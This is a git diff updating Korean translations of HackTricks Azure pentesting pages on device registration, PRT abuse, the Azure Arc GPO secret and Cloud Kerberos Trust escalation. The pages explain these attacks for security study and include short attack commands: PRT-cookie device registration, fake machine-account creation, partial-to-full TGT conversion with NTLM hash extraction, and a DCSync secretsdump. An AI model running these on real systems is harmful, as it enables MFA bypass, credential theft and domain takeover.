Translated ['src/pentesting-cloud/azure-security/az-device-registration.

2026-07-28 22:51:09 -07:00 · 2025-07-30 04:08:18 +00:00
parent b8ba588a84
commit 469eb08ca1
20 changed files with 390 additions and 596 deletions
@@ -442,22 +442,19 @@
      - [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md)
  - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
  - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
-    - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
-      - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md)
-      - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
-      - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md)
-      - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
-      - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
-      - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
-      - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md)
-      - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
-      - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
+    - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
+    - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md)
+    - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md)
+    - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md)
+    - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md)
+    - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md)
+    - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md)
    - [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
-    - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
    - [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
-    - [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
-    - [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
+    - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
    - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
+    - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
+    - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md)    
  - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
    - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
    - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
@@ -6,15 +6,15 @@

 장치가 AzureAD에 가입하면 AzureAD에 새로운 객체가 생성됩니다.

-장치를 등록할 때, **사용자는 자신의 계정으로 로그인하라는 요청을 받습니다** (필요한 경우 MFA 요청), 그 다음 장치 등록 서비스에 대한 토큰을 요청하고 마지막 확인 프롬프트를 요청합니다.
+장치를 등록할 때, **사용자는 자신의 계정으로 로그인하라는 요청을 받습니다** (필요한 경우 MFA 요청), 그 다음 장치 등록 서비스에 대한 토큰을 요청하고 최종 확인 프롬프트를 요청합니다.

 그 후, 장치에서 두 개의 RSA 키 쌍이 생성됩니다: **장치 키** (**공개** 키)는 **AzureAD**에 전송되고, **전송** 키 (**개인** 키)는 가능하면 TPM에 저장됩니다.

-그 후, **객체**가 **AzureAD**에서 생성되고 (Intune이 아님) AzureAD는 장치에 서명된 **인증서**를 반환합니다. **장치가 AzureAD에 가입되었는지** 및 **인증서**에 대한 정보(예: TPM으로 보호되는지 여부)를 확인할 수 있습니다.
+그 후, **객체**가 **AzureAD**에서 생성되고 (Intune에서는 아님) AzureAD는 장치에 서명된 **인증서**를 반환합니다. **장치가 AzureAD에 가입되었는지** 및 **인증서**에 대한 정보(예: TPM으로 보호되는지 여부)를 확인할 수 있습니다.
 ```bash
 dsregcmd /status
 ```
-장치 등록 후 **Primary Refresh Token**이 LSASS CloudAP 모듈에 의해 요청되고 장치에 제공됩니다. PRT와 함께 **장치만 복호화할 수 있도록 암호화된 세션 키**도 제공되며, 이는 **PRT를 사용하기 위해 필요합니다.**
+장치 등록 후 **Primary Refresh Token**이 LSASS CloudAP 모듈에 의해 요청되고 장치에 제공됩니다. PRT와 함께 **장치만 복호화할 수 있도록 암호화된 세션 키**도 제공되며(전송 키의 공개 키를 사용) **PRT를 사용하기 위해 필요합니다.**

 PRT에 대한 자세한 정보는 다음을 확인하세요:

@@ -25,17 +25,17 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 ### TPM - 신뢰할 수 있는 플랫폼 모듈

 **TPM**은 전원이 꺼진 장치에서 키 **추출**을 방지하고(핀으로 보호되는 경우) OS 계층에서 개인 정보를 추출하는 것을 **보호**합니다.\
-하지만 **TPM과 CPU 간의 물리적 연결을 스니핑**하거나 **SYSTEM** 권한을 가진 프로세스가 실행 중인 시스템에서 TPM의 암호화 자료를 **사용하는 것**에 대해서는 **보호하지 않습니다.**
+하지만 **TPM과 CPU 간의 물리적 연결을 스니핑**하거나 시스템이 실행 중일 때 **SYSTEM** 권한을 가진 프로세스에서 TPM의 암호화 자료를 **사용하는 것**에 대해서는 **보호하지 않습니다.**

-다음 페이지를 확인하면 **PRT를 훔치는 것**이 **사용자**처럼 접근하는 데 사용될 수 있다는 것을 알 수 있습니다. 이는 **PRT가 장치에 위치**하므로 장치에서 훔칠 수 있거나(또는 훔치지 않고도 새로운 서명 키를 생성하는 데 악용될 수 있습니다):
+다음 페이지를 확인하면 **PRT를 훔치는 것**이 **사용자**처럼 접근하는 데 사용될 수 있다는 것을 알 수 있습니다. 이는 **PRT가 장치에 위치**하므로 장치에서 훔칠 수 있거나(훔치지 않고도 새로운 서명 키를 생성하는 데 악용될 수 있음) 좋습니다:

 {{#ref}}
-az-lateral-movement-cloud-on-prem/pass-the-prt.md
+az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 {{#endref}}

 ## SSO 토큰으로 장치 등록하기

-공격자가 손상된 장치에서 Microsoft 장치 등록 서비스에 대한 토큰을 요청하고 등록하는 것이 가능할 수 있습니다:
+공격자가 손상된 장치에서 Microsoft 장치 등록 서비스에 대한 토큰을 요청하고 등록하는 것이 가능할 것입니다:
 ```bash
 # Initialize SSO flow
 roadrecon auth prt-init
@@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
 # Custom pyhton script to register a device (check roadtx)
 registerdevice.py
 ```
-어떤 것이 **미래에 PRT를 요청하는 데 사용할 수 있는 인증서를 제공합니다**. 따라서 지속성을 유지하고 **MFA를 우회**할 수 있습니다. 왜냐하면 새 장치를 등록하는 데 사용된 원래 PRT 토큰이 **이미 MFA 권한이 부여되었기 때문입니다**.
+어떤 것이 **미래에 PRT를 요청하는 데 사용할 수 있는 인증서**를 제공합니다. 따라서 지속성을 유지하고 **MFA를 우회**할 수 있습니다. 왜냐하면 새 장치를 등록하는 데 사용된 원래 PRT 토큰이 **이미 MFA 권한이 부여되었기 때문입니다**.

 > [!TIP]
 > 이 공격을 수행하려면 **새 장치를 등록할 수 있는 권한**이 필요합니다. 또한, 장치를 등록한다고 해서 해당 장치가 **Intune에 등록될 수 있는 것은 아닙니다**.
@@ -57,7 +57,7 @@ registerdevice.py

 ## 장치 티켓 덮어쓰기

-**장치 티켓을 요청하고**, 장치의 현재 티켓을 **덮어쓰며**, 흐름 중에 **PRT를 훔치는** 것이 가능했습니다(따라서 TPM에서 훔칠 필요가 없습니다. 자세한 내용은 [**이 강연을 확인하세요**](https://youtu.be/BduCn8cLV1A)).
+**장치 티켓을 요청하고**, 장치의 현재 티켓을 **덮어쓰고**, 흐름 중에 **PRT를 훔치는** 것이 가능했습니다(따라서 TPM에서 훔칠 필요가 없습니다. 자세한 내용은 [**이 강연을 확인하세요**](https://youtu.be/BduCn8cLV1A)).

 <figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>

@@ -66,13 +66,13 @@ registerdevice.py

 ## WHFB 키 덮어쓰기

-[**원본 슬라이드를 여기에서 확인하세요**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
+[**원본 슬라이드는 여기에서 확인하세요**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)

 공격 요약:

- **SSO를 통해** **등록된 WHFB** 키를 **덮어쓸 수 있습니다**
- 이는 **TPM 보호를 무력화**하며, 키가 **새 키 생성 중에 스니핑됩니다**
- 이것은 또한 **지속성**을 제공합니다
+- **SSO를 통해** **등록된 WHFB** 키를 **덮어쓸** 수 있습니다.
+- 이는 **TPM 보호를 무력화**하며, 키가 **새 키 생성 중에 스니핑**됩니다.
+- 이것은 또한 **지속성**을 제공합니다.

 <figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>

@@ -86,7 +86,7 @@ roadtx genhellokey -d <device id> -k tempkey.key

 <figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>

-**디바이스 코드 피싱**을 통해 사용자로부터 액세스 토큰을 얻고 이전 단계를 악용하여 **그의 액세스를 훔치는** 것이 가능합니다. 자세한 내용은 다음을 확인하세요:
+**디바이스 코드 피싱**을 통해 사용자로부터 액세스 토큰을 얻고 이전 단계를 악용하여 **그의 액세스를 훔칠** 수 있습니다. 자세한 내용은 다음을 확인하세요:

 {{#ref}}
 az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
@@ -1,65 +1,39 @@
 # Az - Lateral Movement (Cloud - On-Prem)

-## Az - Lateral Movement (Cloud - On-Prem)
-
 {{#include ../../../banners/hacktricks-training.md}}

-### 클라우드에 연결된 온프레미스 머신
+## 기본 정보

-머신이 클라우드에 연결되는 방법은 여러 가지가 있습니다:
+이 섹션에서는 손상된 Entra ID 테넌트에서 온프레미스 Active Directory (AD)로 이동하거나 손상된 AD에서 Entra ID 테넌트로 이동하는 피벗 기술을 다룹니다.

-#### Azure AD 가입
+## 피벗 기술

-<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
+- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): 공격자가 AD 컴퓨터 계정을 제어하거나 생성하고 Azure Arc GPO 배포 공유에 접근할 수 있다면, 저장된 Service Principal 비밀을 복호화하고 이를 사용하여 관련 서비스 주체로 Azure에 인증할 수 있으며, 연결된 Azure 환경을 완전히 손상시킬 수 있습니다.

-#### Workplace 가입
+- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Cloud Kerberos Trust가 구성된 경우 Entra ID에서 AD로 피벗하는 방법. Entra ID (Azure AD)의 Global Admin은 Cloud Kerberos Trust와 동기화 API를 악용하여 고급 권한 AD 계정을 가장하고, 그들의 Kerberos 티켓이나 NTLM 해시를 얻어 온프레미스 Active Directory를 완전히 손상시킬 수 있습니다—이 계정들이 클라우드와 동기화되지 않았더라도—실질적으로 클라우드에서 AD로의 권한 상승을 연결합니다.

-<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Cloud Sync**](az-cloud-sync.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우 Cloud Sync를 악용하는 방법.

-#### 하이브리드 가입
+- [**Connect Sync**](az-connect-sync.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우 Connect Sync를 악용하는 방법.

-<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Domain Services**](az-domain-services.md): Azure Domain Services 서비스란 무엇이며, Entra ID에서 생성된 AD로 피벗하는 방법.

-#### AADJ 또는 하이브리드에서 Workplace 가입
+- [**Federation**](az-federation.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우 Federation을 악용하는 방법.

-<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우 사용할 수 있는 다양한 공격.

-### 토큰 및 제한 사항 <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
+- [**Local Cloud Credentials**](az-local-cloud-credentials.md): PC가 손상되었을 때 클라우드에 대한 자격 증명을 찾는 방법.

-Azure AD에는 특정 제한이 있는 다양한 유형의 토큰이 있습니다:
+- [**Pass the Certificate**](az-pass-the-certificate.md): 한 머신에서 다른 머신으로 로그인하기 위해 PRT를 기반으로 인증서를 생성하는 방법.

- **Access tokens**: Microsoft Graph와 같은 API 및 리소스에 접근하는 데 사용됩니다. 특정 클라이언트 및 리소스에 연결되어 있습니다.
- **Refresh tokens**: 새로운 access tokens을 얻기 위해 애플리케이션에 발급됩니다. 발급된 애플리케이션이나 애플리케이션 그룹에서만 사용할 수 있습니다.
- **Primary Refresh Tokens (PRT)**: Azure AD에 가입된, 등록된 또는 하이브리드 가입된 장치에서 Single Sign-On에 사용됩니다. 브라우저 로그인 흐름 및 장치의 모바일 및 데스크톱 애플리케이션에 로그인하는 데 사용할 수 있습니다.
- **Windows Hello for Business keys (WHFB)**: 비밀번호 없는 인증에 사용됩니다. Primary Refresh Tokens을 얻는 데 사용됩니다.
+- [**Pass the Cookie**](az-pass-the-cookie.md): 브라우저에서 Azure 쿠키를 훔치고 이를 사용하여 로그인하는 방법.

-가장 흥미로운 유형의 토큰은 Primary Refresh Token (PRT)입니다.
+- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): PRT란 무엇이며, 이를 훔치고 사용자가 가장하여 Azure 리소스에 접근하는 방법.

-{{#ref}}
-az-primary-refresh-token-prt.md
-{{#endref}}
+- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): 클라우드에서 온프레미스 AD로 이동하거나 그 반대의 경우 Pass-through Authentication을 악용하는 방법.

-### 피벗 기술
+- [**Seamless SSO**](az-seamless-sso.md): 온프레미스에서 클라우드로 이동하기 위해 Seamless SSO를 악용하는 방법.

-**손상된 머신에서 클라우드로**:
-
- [**Pass the Cookie**](az-pass-the-cookie.md): 브라우저에서 Azure 쿠키를 훔쳐 로그인에 사용
- [**Dump processes access tokens**](az-processes-memory-access-token.md): 클라우드와 동기화된 로컬 프로세스의 메모리를 덤프하고 평문에서 access tokens을 찾기
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT를 피싱하여 악용
- [**Pass the PRT**](pass-the-prt.md): 장치 PRT를 훔쳐 Azure에 접근
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** PRT를 기반으로 인증서를 생성하여 한 머신에서 다른 머신으로 로그인
-
-**AD를 손상시켜 클라우드를 손상시키고, 클라우드를 손상시켜 AD를 손상시키는 방법**:
-
- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
- **클라우드에서 온프레미스로 피벗하는 또 다른 방법은** [**Intune 악용**](../az-services/intune.md)
-
-#### [Roadtx](https://github.com/dirkjanm/ROADtools)
-
-이 도구는 Azure AD에 머신을 등록하여 PRT를 얻고, PRT(합법적이거나 도난당한)를 사용하여 여러 가지 방법으로 리소스에 접근하는 등의 여러 작업을 수행할 수 있게 해줍니다. 이는 직접적인 공격은 아니지만, PRT를 사용하여 다양한 방법으로 리소스에 접근하는 것을 용이하게 합니다. 자세한 정보는 [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)에서 확인하세요.
-
-## 참고 문헌
-
- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
+- **클라우드에서 온프레미스로 피벗하는 또 다른 방법은** [**Intune을 악용하는 것입니다**](../az-services/intune.md)

 {{#include ../../../banners/hacktricks-training.md}}
@@ -4,14 +4,14 @@

 ### 문제 식별

-Azure Arc는 그룹 정책 개체 방법을 사용하여 새로운 내부 서버(도메인에 가입된 서버)를 Azure Arc에 통합할 수 있도록 합니다. 이를 위해 Microsoft는 온보딩 절차를 시작하는 데 필요한 배포 툴킷을 제공합니다. ArcEnableServerGroupPolicy.zip 파일 내에는 DeployGPO.ps1, EnableAzureArc.ps1 및 AzureArcDeployment.psm1 스크립트가 포함되어 있습니다.
+Azure Arc는 그룹 정책 개체 방법을 사용하여 새로운 내부 서버(도메인에 가입된 서버)를 Azure Arc에 통합할 수 있도록 합니다. 이를 위해 Microsoft는 온보딩 절차를 시작하는 데 필요한 배포 툴킷을 제공합니다. ArcEnableServerGroupPolicy.zip 파일 내에는 다음 스크립트가 포함되어 있습니다: DeployGPO.ps1, EnableAzureArc.ps1, 및 AzureArcDeployment.psm1.

-DeployGPO.ps1 스크립트를 실행하면 다음과 같은 작업이 수행됩니다:
+DeployGPO.ps1 스크립트를 실행하면 다음 작업이 수행됩니다:

 1. 로컬 도메인 내에 Azure Arc 서버 온보딩 GPO를 생성합니다.
 2. 온보딩 프로세스를 위해 생성된 지정된 네트워크 공유에 EnableAzureArc.ps1 온보딩 스크립트를 복사하며, 이 공유에는 Windows 설치 패키지도 포함되어 있습니다.

-이 스크립트를 실행할 때 시스템 관리자는 두 가지 주요 매개변수인 **ServicePrincipalId**와 **ServicePrincipalClientSecret**을 제공해야 합니다. 또한 도메인, 공유를 호스팅하는 서버의 FQDN 및 공유 이름과 같은 다른 매개변수도 필요합니다. 테넌트 ID, 리소스 그룹 및 기타 필요한 정보와 같은 추가 세부정보도 스크립트에 제공되어야 합니다.
+이 스크립트를 실행할 때 시스템 관리자는 두 가지 주요 매개변수인 **ServicePrincipalId**와 **ServicePrincipalClientSecret**을 제공해야 합니다. 또한 도메인, 공유를 호스팅하는 서버의 FQDN, 공유 이름과 같은 다른 매개변수도 필요합니다. 테넌트 ID, 리소스 그룹 및 기타 필요한 정보와 같은 추가 세부정보도 스크립트에 제공되어야 합니다.

 DPAPI-NG 암호화를 사용하여 지정된 공유의 AzureArcDeploy 디렉토리에 암호화된 비밀이 생성됩니다. 암호화된 비밀은 encryptedServicePrincipalSecret이라는 이름의 파일에 저장됩니다. 이와 관련된 증거는 DeployGPO.ps1 스크립트에서 찾을 수 있으며, 여기서 암호화는 ProtectBase64를 호출하여 $descriptor와 $ServicePrincipalSecret을 입력으로 사용하여 수행됩니다. descriptor는 도메인 컴퓨터 및 도메인 컨트롤러 그룹 SID로 구성되어 있어, ServicePrincipalSecret은 도메인 컨트롤러 및 도메인 컴퓨터 보안 그룹에 의해서만 복호화될 수 있도록 합니다.
 ```bash
@@ -35,7 +35,7 @@ AD 환경 내에서 머신 계정을 얻는 방법은 여러 가지가 있습니
 Import-MKodule powermad
 New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
 ```
-기계 계정을 얻으면 이 계정을 사용하여 인증할 수 있습니다. runas.exe 명령을 netonly 플래그와 함께 사용하거나 Rubeus.exe로 패스-더-티켓을 사용할 수 있습니다.
+기계 계정을 얻으면 이 계정을 사용하여 인증할 수 있습니다. runas.exe 명령어와 netonly 플래그를 사용하거나 Rubeus.exe로 패스-더-티켓을 사용할 수 있습니다.
 ```bash
 runas /user:fake01$ /netonly powershell
 ```
@@ -38,29 +38,29 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
 --sourceanchor <ImmutableID_of_User>\
 --sid <TargetAD_SID> --sam <TargetAD_SAMName>
 ```
-> 사용자의 `sourceAnchor` (불변 ID)는 수정할 Azure AD 객체를 식별하는 데 필요합니다. 도구는 하이브리드 사용자의 온프레미스 SID와 SAM 계정 이름을 대상의 값(예: MSOL_xxxx 계정의 SID 및 SAM)으로 설정합니다. Azure AD는 일반적으로 이러한 속성을 Graph를 통해 변경하는 것을 허용하지 않지만(읽기 전용), 동기화 서비스 API는 이를 허용하며 Global Admin은 이 동기화 기능을 호출할 수 있습니다.
+> 사용자의 `sourceAnchor` (불변 ID)는 수정할 Azure AD 객체를 식별하는 데 필요합니다. 이 도구는 하이브리드 사용자의 온프레미스 SID와 SAM 계정 이름을 대상의 값(예: MSOL_xxxx 계정의 SID 및 SAM)으로 설정합니다. Azure AD는 일반적으로 이러한 속성을 Graph를 통해 변경하는 것을 허용하지 않지만(읽기 전용), 동기화 서비스 API는 이를 허용하며 Global Admin이 이 동기화 기능을 호출할 수 있습니다.

-3.  **Azure AD에서 부분 TGT 얻기:** 수정 후, 하이브리드 사용자로 Azure AD에 인증합니다(예: 장치에서 PRT를 얻거나 자격 증명을 사용하여). 사용자가 로그인할 때(특히 도메인에 가입된 또는 Entra에 가입된 Windows 장치에서), Azure AD는 Cloud Kerberos Trust가 활성화되어 있기 때문에 해당 계정에 대해 **부분 Kerberos TGT (TGT**<sub>**AD**</sub>)를 발급합니다. 이 부분 TGT는 AzureADKerberos$ RODC 키로 암호화되며 우리가 설정한 **대상 SID**를 포함합니다. 우리는 ROADtools를 통해 사용자의 PRT를 요청하여 이를 시뮬레이션할 수 있습니다:
+3.  **Azure AD에서 부분 TGT 얻기:** 수정 후, 하이브리드 사용자로 Azure AD에 인증합니다(예: 장치에서 PRT를 얻거나 자격 증명을 사용하여). 사용자가 로그인할 때(특히 도메인 가입 또는 Entra 가입 Windows 장치에서), Azure AD는 Cloud Kerberos Trust가 활성화되어 있기 때문에 해당 계정에 대해 **부분 Kerberos TGT (TGT**<sub>**AD**</sub>)를 발급합니다. 이 부분 TGT는 AzureADKerberos$ RODC 키로 암호화되며 우리가 설정한 **대상 SID**를 포함합니다. 우리는 ROADtools를 통해 사용자에 대한 PRT를 요청하여 이를 시뮬레이션할 수 있습니다:
 ```bash
 roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
 ```
-이것은 부분 TGT 및 세션 키를 포함하는 `.prt` 파일을 출력합니다. 계정이 클라우드 전용 비밀번호인 경우, Azure AD는 여전히 PRT 응답에 TGT_AD를 포함합니다.
+이것은 부분 TGT 및 세션 키를 포함하는 `.prt` 파일을 출력합니다. 계정이 클라우드 전용 비밀번호인 경우 Azure AD는 여전히 PRT 응답에 TGT_AD를 포함합니다.

-4.  **AD에서 전체 TGT로 부분 TGT 교환:** 이제 부분 TGT를 온프레미스 도메인 컨트롤러에 제시하여 대상 계정에 대한 **전체 TGT**를 얻을 수 있습니다. 이는 `krbtgt` 서비스(도메인의 기본 TGT 서비스)에 대한 TGS 요청을 수행하여 이루어집니다. 본질적으로 티켓을 전체 PAC이 포함된 일반 TGT로 업그레이드하는 것입니다. 이 교환을 자동화하는 도구가 제공됩니다. 예를 들어, ROADtools Hybrid의 스크립트를 사용하여:
+4.  **부분 TGT를 전체 TGT로 교환 (AD에서):** 이제 부분 TGT를 온프레미스 도메인 컨트롤러에 제시하여 대상 계정에 대한 **전체 TGT**를 얻을 수 있습니다. 우리는 `krbtgt` 서비스(도메인의 기본 TGT 서비스)에 대한 TGS 요청을 수행하여 이를 수행합니다. 본질적으로 티켓을 전체 PAC이 포함된 일반 TGT로 업그레이드하는 것입니다. 이 교환을 자동화하는 도구가 있습니다. 예를 들어, ROADtools Hybrid의 스크립트를 사용하여:
 ```bash
 # Use the partial TGT from the PRT file to get a full TGT and NTLM hash
 python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
 ```
 이 스크립트(또는 Impacket 동등물)는 도메인 컨트롤러에 연락하여 대상 AD 계정에 대한 유효한 TGT를 검색하며, 특별한 Kerberos 확장이 사용되는 경우 계정의 NTLM 해시도 포함됩니다. **`KERB-KEY-LIST-REQ`** 확장은 DC에 암호화된 응답에서 대상 계정의 NTLM 해시를 반환하도록 요청하기 위해 자동으로 포함됩니다. 결과는 대상 계정에 대한 자격 증명 캐시(`full_tgt.ccache`) 또는 복구된 NTLM 비밀번호 해시입니다.

-5.  **대상 가장하기 및 도메인 관리자 권한 상승:** 이제 공격자는 효과적으로 **대상 AD 계정을 제어**합니다. 예를 들어, 대상이 AD Connect **MSOL 계정**인 경우, 디렉터리에 대한 복제 권한이 있습니다. 공격자는 해당 계정의 자격 증명 또는 Kerberos TGT를 사용하여 AD에서 비밀번호 해시를 덤프하기 위해 **DCSync** 공격을 수행할 수 있습니다(도메인 KRBTGT 계정 포함). 예를 들어:
+5.  **대상 가장하기 및 도메인 관리자 권한 상승:** 이제 공격자는 효과적으로 **대상 AD 계정을 제어**합니다. 예를 들어, 대상이 AD Connect **MSOL 계정**인 경우, 디렉토리에 대한 복제 권한이 있습니다. 공격자는 해당 계정의 자격 증명 또는 Kerberos TGT를 사용하여 AD에서 비밀번호 해시를 덤프하기 위해 **DCSync** 공격을 수행할 수 있습니다(도메인 KRBTGT 계정 포함). 예를 들어:
 ```bash
 # Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
 secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
 ```
-이것은 모든 AD 사용자 비밀번호 해시를 덤프하여 공격자에게 KRBTGT 해시를 제공하며(이를 통해 도메인 Kerberos 티켓을 마음대로 위조할 수 있음) 효과적으로 **Domain Admin** 권한을 AD에 부여합니다. 대상 계정이 다른 특권 사용자라면, 공격자는 전체 TGT를 사용하여 해당 사용자로서 모든 도메인 리소스에 접근할 수 있습니다.
+이것은 모든 AD 사용자 비밀번호 해시를 덤프하여 공격자에게 KRBTGT 해시를 제공하며(이를 통해 도메인 Kerberos 티켓을 마음대로 위조할 수 있음) 사실상 AD에 대한 **Domain Admin** 권한을 부여합니다. 대상 계정이 다른 특권 사용자라면, 공격자는 전체 TGT를 사용하여 해당 사용자로서 도메인 리소스에 접근할 수 있습니다.

-6.  **정리:** 선택적으로, 공격자는 동일한 API를 통해 수정된 Azure AD 사용자의 원래 `onPremisesSAMAccountName` 및 SID를 복원하거나 생성된 임시 사용자를 삭제할 수 있습니다. 많은 경우, 다음 Azure AD Connect 동기화 주기가 동기화된 속성의 무단 변경을 자동으로 되돌립니다. (그러나 이 시점에서 피해는 이미 발생했습니다 -- 공격자는 DA 권한을 가지고 있습니다.)
+6.  **정리:** 선택적으로, 공격자는 동일한 API를 통해 수정된 Azure AD 사용자의 원래 `onPremisesSAMAccountName` 및 SID를 복원하거나 생성된 임시 사용자를 삭제할 수 있습니다. 많은 경우, 다음 Azure AD Connect 동기화 주기가 동기화된 속성에서 무단 변경을 자동으로 되돌립니다. (그러나 이 시점에서 피해는 이미 발생했습니다 -- 공격자는 DA 권한을 가지고 있습니다.)

 > [!WARNING]
 > 클라우드 신뢰 및 동기화 메커니즘을 악용함으로써, Azure AD의 Global Admin은 RODC 정책에 의해 명시적으로 보호되지 않는 거의 *모든* AD 계정을 가장할 수 있으며, 해당 계정이 클라우드와 동기화된 적이 없더라도 가능합니다. 기본 구성에서는, 이것이 **Azure AD 손상에서 온프레미스 AD 손상으로의 완전한 신뢰를 연결합니다**.
@@ -4,9 +4,9 @@

 ## Basic Information

-**Cloud Sync**는 기본적으로 Azure에서 **AD의 사용자를 Entra ID로 동기화하는 새로운 방법**입니다.
+**Cloud Sync**는 기본적으로 Azure가 **AD에서 Entra ID로 사용자를 동기화하는 새로운 방법**입니다.

